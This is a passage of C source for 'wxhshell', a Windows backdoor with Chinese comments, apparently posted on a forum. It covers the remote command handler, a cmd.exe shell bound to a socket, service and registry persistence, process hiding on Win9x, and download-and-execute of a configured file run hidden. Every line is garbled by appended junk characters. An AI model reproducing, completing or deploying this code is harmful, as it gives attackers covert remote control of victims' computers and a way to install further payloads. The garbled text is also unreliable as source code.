  case 'i': { <^'+ ]?  
    if(Install()) jhbH6=f4]^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2clOUi  
    else _,0!ZP-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @N_H]6z4  
    break; od's1'c R  
    } x)wt.T?eL  
  // 卸载 ~)8i5p;P/k  
  case 'r': { 2hC$"Dfp  
    if(Uninstall()) ,p`b Wm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R}6la.mQ  
    else Tocdh.H|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "XsY~  
    break; %s :  
    } A-Pwi.$  
  // 显示 wxhshell 所在路径 2 Yd~v|  
  case 'p': { O*/-I pM  
    char svExeFile[MAX_PATH]; GJt9hDM$0  
    strcpy(svExeFile,"\n\r"); 5a|m}2IX  
      strcat(svExeFile,ExeFile); 8lGgp&ey  
        send(wsh,svExeFile,strlen(svExeFile),0); (Dh;=xG  
    break; S!!\!w>N  
    } W (c\$2`  
  // 重启 ts\>_/  
  case 'b': { S,9WMti4x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `&[:!U2]F  
    if(Boot(REBOOT)) -x\l<\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [*ovYpj^  
    else { V//q$/&8(  
    closesocket(wsh); j~f 7WJ  
    ExitThread(0); `"mK\M  
    } SWO!E  
    break; Afhx`J1KO  
    } yx;R#8;b.  
  // 关机 UkbQ'P+oS  
  case 'd': { R/cq00g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jd2Y)  
    if(Boot(SHUTDOWN)) UXB8sS*wQ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JU \J  
    else { |=}~>!!  
    closesocket(wsh); m:O2_%\l  
    ExitThread(0); -t'oW*kdL  
    } vk+%#w  
    break; ZjW| qb  
    } $hp?5K M  
  // 获取shell (IHBib "  
  case 's': { il%tu<E#J~  
    CmdShell(wsh); '<D}5u7 2  
    closesocket(wsh); 78~V/L;@S2  
    ExitThread(0); 'p+QFT>Ca  
    break; ;p!hd }C  
  } :BxYaAVt^  
  // 退出 &0Zk3D4  
  case 'x': { ^K8a#-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |8{iIvi/  
    CloseIt(wsh); FH(+7Lz4;  
    break; /_\W*@ E  
    } 9+Bq00-Z$  
  // 离开 Prx s2 i 8  
  case 'q': { kR?n%`&k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7t Kft  
    closesocket(wsh); sZBO_](S  
    WSACleanup(); g}r5ohqC#  
    exit(1); 3^yWpSC  
    break; Mf13@XEo  
        } 2MzFSmhc"  
  } PH!B /D5G  
  } G/44gKl  
* t9qH  
  // 提示信息 -+@~*$ d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Awf = yE:  
} ms<uYLp  
  } zGz'2, o3  
l^?A8jG  
  return; >Mw =}g@P  
} #f;1f8yrN  
8&hn$~ate  
// shell模块句柄 Dohe(\C@  
int CmdShell(SOCKET sock) W%Q>< 'c  
{ >Nl~"J|]q  
STARTUPINFO si; >M85xjXP  
ZeroMemory(&si,sizeof(si)); jAHn`Bxz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &-Er n/[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eG>Fn6G<g  
PROCESS_INFORMATION ProcessInfo; bO3KaOC8N  
char cmdline[]="cmd"; Qh%vh ;|^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jN>UW}?  
  return 0; 8>;o MM  
} Yx c >+mx  
3-%~{(T/  
// 自身启动模式 ui0(#2'h%  
int StartFromService(void) @5GP;3T  
{ t1s@Ub5);I  
typedef struct 4tNgK[6M  
{ 8@ g D03  
  DWORD ExitStatus; *.Hnt\4|  
  DWORD PebBaseAddress; ~x|Sv4M  
  DWORD AffinityMask; ?|yJ #j1=  
  DWORD BasePriority; I3b-uEHev  
  ULONG UniqueProcessId; }kefrT  
  ULONG InheritedFromUniqueProcessId; ~2ei+#d!^  
}   PROCESS_BASIC_INFORMATION; dh`A(B{hfc  
A~SSu.L@  
PROCNTQSIP NtQueryInformationProcess; Mn;CG'FA  
c4W"CD;D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vAxtN RS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X]%4QIeS  
o;/F=Zp  
  HANDLE             hProcess; :8T@96]P  
  PROCESS_BASIC_INFORMATION pbi; U<byR!qLie  
Y %8QFM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vG:,oB}  
  if(NULL == hInst ) return 0; v3#47F)  
n:z>l,`C]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?KW?] o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s5#g[}dj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 824%]i3  
:b)@h|4  
  if (!NtQueryInformationProcess) return 0; T,@7giQg@  
0_izTke  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y%Ah"UY  
  if(!hProcess) return 0; aKcV39brr  
c3-bn #  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gl1$W=pR:  
Ia" Mi+{  
  CloseHandle(hProcess); e{S`iO  
.AS,]*?Zn%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zxHfQ(  
if(hProcess==NULL) return 0; s#49pDN  
PmTd+Gj$  
HMODULE hMod; K*RRbtb  
char procName[255]; hUc |Xm  
unsigned long cbNeeded; ?"Q6;np*  
lph_cY3p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?q`mr_x%?  
^r$5];n  
  CloseHandle(hProcess); "<b84?V5  
gRSG[GMV  
if(strstr(procName,"services")) return 1; // 以服务启动 \/zS@fz  
yY|U}]u!V  
  return 0; // 注册表启动 LnIJ wD  
} UkQocZdZ  
FiL JF!  
// 主模块 1N*~\rV*?  
int StartWxhshell(LPSTR lpCmdLine) <3OV  
{ '-{jn+,  
  SOCKET wsl; 2V 'Tt3  
BOOL val=TRUE; =z.AQe+   
  int port=0; 6Wp:W1E{`  
  struct sockaddr_in door; =wc[ r?7  
Hq8.O/Y"=  
  if(wscfg.ws_autoins) Install(); G9Ezm*I;:  
ST.W{:X   
port=atoi(lpCmdLine); GV/FK{v5  
RzRLrfV  
if(port<=0) port=wscfg.ws_port; ' 'N@ <|  
j+seJg<_  
  WSADATA data; )I_I?e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; af{K4:I  
1Btf)y'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qI:wm=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :#;?dMkTY  
  door.sin_family = AF_INET; ) 'KHUa9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " OtLJ  
  door.sin_port = htons(port); Dr609(zg^  
f}4h}Cq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hG]20n2  
closesocket(wsl); !s:|Ddv  
return 1; :=@[FXD4  
} FT6cOMu  
LA5rr}<K  
  if(listen(wsl,2) == INVALID_SOCKET) { CJ b ~~  
closesocket(wsl); 8%B @[YDe  
return 1; t~`Ef  
} ( d.i np(  
  Wxhshell(wsl); M"V@>E\L  
  WSACleanup(); >LSA?dy!?  
52,a5TVG  
return 0; 7 5u*ZMK  
%iNDRLR%I  
} |xOOdy6 )~  
HIAd"}^  
// 以NT服务方式启动 &gfQZxT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~x+w@4)a>  
{ )Ec;krb+  
DWORD   status = 0; s+11) ~  
  DWORD   specificError = 0xfffffff; }, H,ky  
Fk:(% ci  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /uVB[Tk^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &ReIe>L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {iv=KF_S_  
  serviceStatus.dwWin32ExitCode     = 0; {3>^nMv@e  
  serviceStatus.dwServiceSpecificExitCode = 0; +Xk!)Ge5E*  
  serviceStatus.dwCheckPoint       = 0; n:+M Nr  
  serviceStatus.dwWaitHint       = 0; '7^_$M3$\  
:|g{ gi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a@. /e @p  
  if (hServiceStatusHandle==0) return; )_ uK(UNZ5  
~jaGf  
status = GetLastError(); y;H 3g#  
  if (status!=NO_ERROR) d8>D=Ve  
{ [+GG Wo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &!=3Fbn  
    serviceStatus.dwCheckPoint       = 0; g;pymz  
    serviceStatus.dwWaitHint       = 0; wpvaTHo  
    serviceStatus.dwWin32ExitCode     = status; |bh:x{h  
    serviceStatus.dwServiceSpecificExitCode = specificError; -eya$C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4^5s\ f B  
    return; {+MMqJCa  
  } RK0IkRXQd  
6lPGop]js]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q=[&~^ Y)  
  serviceStatus.dwCheckPoint       = 0; FP$]D~DMo  
  serviceStatus.dwWaitHint       = 0; `i-&Z`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]iPdAwc.1  
} %rsW:nl  
]pt @  
// 处理NT服务事件,比如:启动、停止 S@_GjCpn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -3Ffk:  
{ 7iJl W&W  
switch(fdwControl) Kh>^;`h  
{ x;I*Ho  
case SERVICE_CONTROL_STOP: O_033&  
  serviceStatus.dwWin32ExitCode = 0; V2*b f`/V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bm^ou#]|  
  serviceStatus.dwCheckPoint   = 0; C>HU G  
  serviceStatus.dwWaitHint     = 0; 4%p vw;r  
  { %$08*bAtB7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f%af.cR*  
  } vDemY"wz  
  return; S=o/n4@}  
case SERVICE_CONTROL_PAUSE: E5rNC/Ul$$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pD{Li\LY  
  break; Y#G '[N>  
case SERVICE_CONTROL_CONTINUE: Vj_ $%0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uhf -}Jdw  
  break; c{[d@jt O  
case SERVICE_CONTROL_INTERROGATE: pq@ad\8  
  break; 5VI'hxU4Qg  
}; +VJl#sc/;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qdOS=7]W  
} W[YtNL;  
y ^YrGz.  
// 标准应用程序主函数 S7V;sR"V2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tY7u\Y;^  
{ 49CMRO,T  
jE{z4en  
// 获取操作系统版本 q>Y_I<;'g  
OsIsNt=GetOsVer(); ?#W>^Za=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kn! J`"b  
OIN]u{S  
  // 从命令行安装 (GZm+?  
  if(strpbrk(lpCmdLine,"iI")) Install(); g\ke,r6  
]fR 3f  
  // 下载执行文件 + }^  
if(wscfg.ws_downexe) { ' =oV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QF>H>=Za=  
  WinExec(wscfg.ws_filenam,SW_HIDE); P<bA~%<7"[  
} l|DOsI'r  
cu Nwv(P  
if(!OsIsNt) { GovGh? X#x  
// 如果时win9x,隐藏进程并且设置为注册表启动 *e^ ZH  
HideProc(); L Nj|t)Ov  
StartWxhshell(lpCmdLine); bBZvL  
} JL <}9K  
else CxO) d7c  
  if(StartFromService()) h7g9:10  
  // 以服务方式启动 .AKx8=f  
  StartServiceCtrlDispatcher(DispatchTable); 3M^ /   
else [ML4<Eb+ x  
  // 普通方式启动 ?)9 6YX'  
  StartWxhshell(lpCmdLine); Dj[D|%9a  
M+Dkn3bx  
return 0; nkpQM$FW  
}
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只看该作者 1 发表于: 2006-10-10
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